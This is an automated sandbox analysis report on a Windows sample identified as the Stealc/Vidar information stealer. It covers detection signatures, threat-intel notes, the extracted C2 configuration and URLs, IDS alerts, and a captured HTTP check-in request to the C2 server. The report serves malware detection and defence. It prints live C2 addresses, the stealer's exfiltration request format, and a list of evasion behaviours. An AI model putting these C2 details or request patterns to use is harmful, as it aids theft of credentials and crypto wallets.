Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1528270
MD5:	bf40d376a9a1b310af87edde937d8af3
SHA1:	82f9e52504f6042da52013248fe3dfd35c5da701
SHA256:	f849ec75c2f7c5e04a0eed780284321b184aab3be747579b0ed42b57da14bef9
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6424 cmdline: "C:\Users\user\Desktop\file.exe" MD5: BF40D376A9A1B310AF87EDDE937D8AF3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2591852911.000000000042E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2318604466.0000000004A20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6424	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6424	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6424	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6424	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.560000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:03:11.731300+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.12	49711	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:03:11.722488+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.12	49711	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:03:11.943639+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.12	49711	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:03:13.175649+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.12	49711	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:03:12.068734+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.12	49711	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:03:11.503782+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.12	49711	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:03:13.832539+0200	2803304	3	Unknown Traffic	192.168.2.12	49711	185.215.113.37	80	TCP
2024-10-07T18:03:20.185536+0200	2803304	3	Unknown Traffic	192.168.2.12	49711	185.215.113.37	80	TCP
2024-10-07T18:03:21.776700+0200	2803304	3	Unknown Traffic	192.168.2.12	49711	185.215.113.37	80	TCP
2024-10-07T18:03:22.791550+0200	2803304	3	Unknown Traffic	192.168.2.12	49711	185.215.113.37	80	TCP
2024-10-07T18:03:23.694528+0200	2803304	3	Unknown Traffic	192.168.2.12	49711	185.215.113.37	80	TCP
2024-10-07T18:03:27.015764+0200	2803304	3	Unknown Traffic	192.168.2.12	49711	185.215.113.37	80	TCP
2024-10-07T18:03:27.669510+0200	2803304	3	Unknown Traffic	192.168.2.12	49711	185.215.113.37	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCBFIEHIEGCAAAKKKKEHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 44 35 38 45 31 33 44 30 46 34 45 37 35 38 38 30 39 30 31 34 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 2d 2d 0d 0a Data Ascii: ------EGCBFIEHIEGCAAAKKKKEContent-Disposition: form-data; name="hwid"1D58E13D0F4E758809014------EGCBFIEHIEGCAAAKKKKEContent-Disposition: form-data; name="build"doma------EGCBFIEHIEGCAAAKKKKE--

Source: file.exe, 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2591852911.000000000042E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37.com
Source: file.exe, 00000000.00000002.2591852911.0000000000489000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2591852911.00000000004A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.2591852911.00000000004A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.2591852911.00000000004A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.2591852911.00000000004A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.2591852911.00000000004A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll2
Source: file.exe, 00000000.00000002.2591852911.00000000004A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll9
Source: file.exe, 00000000.00000002.2591852911.0000000000475000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dlls
Source: file.exe, 00000000.00000002.2591852911.00000000004A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.2591852911.00000000004A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.2591852911.000000000042E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll/;
Source: file.exe, 00000000.00000002.2591852911.00000000004A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dlli
Source: file.exe, 00000000.00000002.2591852911.0000000000489000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2591852911.00000000004A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.2591852911.00000000004A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll9
Source: file.exe, 00000000.00000002.2591852911.000000000042E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2591852911.00000000004A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2591852911.00000000004A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3Z
Source: file.exe, 00000000.00000002.2591852911.0000000000489000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php4
Source: file.exe, 00000000.00000002.2591852911.00000000004A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php8
Source: file.exe, 00000000.00000002.2591852911.0000000000489000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpH
Source: file.exe, 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpom
Source: file.exe, 00000000.00000002.2591852911.00000000004A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpser
Source: file.exe, 00000000.00000002.2591852911.00000000004A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpsimple-storage.json
Source: file.exe, 00000000.00000002.2591852911.0000000000489000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpt
Source: file.exe, 00000000.00000002.2591852911.00000000004A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpus.wallet
Source: file.exe, 00000000.00000002.2591852911.00000000004A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpv
Source: file.exe, 00000000.00000002.2591852911.000000000042E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37u
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2627093302.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2614955779.000000001D293000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2415526772.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, DGCAAAFC.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2621222149.0000000029351000.00000004.00000020.00020000.00000000.sdmp, FIDAFCAFCBKECBGCFIIJ.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696506299400400001.2&ci=1696506299033.
Source: file.exe, 00000000.00000002.2621222149.0000000029351000.00000004.00000020.00020000.00000000.sdmp, FIDAFCAFCBKECBGCFIIJ.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696506299400400001.1&ci=1696506299033.12791&cta
Source: file.exe, 00000000.00000003.2415526772.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, DGCAAAFC.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2415526772.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, DGCAAAFC.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2415526772.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, DGCAAAFC.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2621222149.0000000029351000.00000004.00000020.00020000.00000000.sdmp, FIDAFCAFCBKECBGCFIIJ.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000002.2621222149.0000000029351000.00000004.00000020.00020000.00000000.sdmp, FIDAFCAFCBKECBGCFIIJ.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2415526772.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, DGCAAAFC.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2415526772.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, DGCAAAFC.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2415526772.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, DGCAAAFC.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: FIDAFCAFCBKECBGCFIIJ.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4CbmfQq%2B4pbW4pbWfpbX7ReNxR3UIG8zInwYIFIVs9e
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: FCAAAAFBKFIECAAKECGCAAKJEC.0.dr	String found in binary or memory: https://support.mozilla.org
Source: FCAAAAFBKFIECAAKECGCAAKJEC.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: FCAAAAFBKFIECAAKECGCAAKJEC.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.P9ZDdyXKOWl2
Source: file.exe, 00000000.00000002.2621222149.0000000029351000.00000004.00000020.00020000.00000000.sdmp, FIDAFCAFCBKECBGCFIIJ.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_cd61a4703a8613be887576f2bd084bcc6f4756dccdbe5062
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2415526772.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, DGCAAAFC.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2415526772.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, DGCAAAFC.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000002.2621222149.0000000029351000.00000004.00000020.00020000.00000000.sdmp, FIDAFCAFCBKECBGCFIIJ.0.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: FCAAAAFBKFIECAAKECGCAAKJEC.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, file.exe, 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: FCAAAAFBKFIECAAKECGCAAKJEC.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.5iSPD7jwkDnW
Source: file.exe, file.exe, 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: FCAAAAFBKFIECAAKECGCAAKJEC.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.3UfcDFx2ZSAZ
Source: FCAAAAFBKFIECAAKECGCAAKJEC.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2531455487.000000002F529000.00000004.00000020.00020000.00000000.sdmp, FCAAAAFBKFIECAAKECGCAAKJEC.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/kZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGp
Source: file.exe, 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/vRm9ybXxwbmxjY21vamNtZW9obHBnZ21mbmJiaWFwa21ibGlvYnwxfDB8MHx

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CAEB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEB8C0 rand_s,NtQueryVirtualMemory,	0_2_6CAEB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CAEB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CA8F280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007E783D	0_2_007E783D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0092198C	0_2_0092198C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008AB93C	0_2_008AB93C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00926AD3	0_2_00926AD3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00878206	0_2_00878206
